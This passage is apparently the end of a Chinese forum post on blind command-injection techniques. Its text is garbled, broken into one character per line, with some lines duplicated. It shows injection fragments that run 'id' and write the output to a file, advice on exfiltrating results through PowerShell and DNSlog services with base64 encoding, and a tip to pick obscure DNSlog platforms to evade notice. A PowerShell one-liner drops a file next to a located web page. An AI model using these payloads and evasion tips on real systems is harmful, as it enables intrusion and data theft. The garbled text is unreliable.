}
;
|
s
e
d
1
q
)
&
&
e
c
h
o
`
i
d
`
>
1
.
t
x
t
w
i
n
d
o
w
s
的
p
o
w
e
r
s
h
e
l
l
d
n
s
l
o
g
这
个
就
不
提
了
,
技
巧
的
话
就
是
用
p
o
w
e
r
s
h
e
l
l
或
者
b
a
s
e
6
4
命
令
编
码
一
下
,
避
免
特
殊
字
符
,
还
有
就
是
挑
小
众
的
d
n
s
l
o
g
平
台
。
参
考
1
.
h
t
t
p
s
:
/
/
w
w
w
.
c
n
b
l
o
g
s
.
c
o
m
/
a
f
a
n
t
i
/
p
/
1
2
5
0
2
1
4
5
.
h
t
m
l
2
.
h
t
t
p
s
:
/
/
x
z
.
a
l
i
y
u
n
.
c
o
m
/
t
/
5
2
9
9
3
.
h
t
t
p
s
:
/
/
j
a
v
a
s
e
c
.
o
r
g
/
j
a
v
a
s
e
/
C
l
a
s
s
L
o
a
d
e
r
/
4
.
h
t
t
p
s
:
/
/
w
w
w
.
c
n
b
l
o
g
s
.
c
o
m
/
p
h
4
n
t
0
m
e
r
/
p
/
1
2
8
0
2
8
5
1
.
h
t
m
l
文
笔
垃
圾
,
措
辞
轻
浮
,
内
容
浅
显
,
操
作
生
疏
。
不
足
之
处
欢
迎
大
师
傅
们
指
点
和
纠
正
,
感
激
不
尽
。
文
笔
垃
圾
,
措
辞
轻
浮
,
内
容
浅
显
,
操
作
生
疏
。
不
足
之
处
欢
迎
大
师
傅
们
指
点
和
纠
正
,
感
激
不
尽
。
想
要
无
时
无
刻
享
受
知
识
的
沐
浴
吗
?
还
不
点
关
注
!
想
要
无
时
无
刻
享
受
知
识
的
沐
浴
吗
?
还
不
点
关
注
!
$
f
i
l
e
=
G
e
t
-
C
h
i
l
d
I
t
e
m
-
P
a
t
h
.
-
F
i
l
t
e
r
t
e
s
t
.
h
t
m
l
-
r
e
c
u
r
s
e
-
E
r
r
o
r
A
c
t
i
o
n
S
i
l
e
n
t
l
y
C
o
n
t
i
n
u
e
;
$
f
=
-
J
o
i
n
(
$
f
i
l
e
.
D
i
r
e
c
t
o
r
y
N
a
m
e
,
"
/
a
.
t
x
t
"
)
;
e
c
h
o
2
2
2
|
O
u
t
-
F
i
l
e
$
f
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页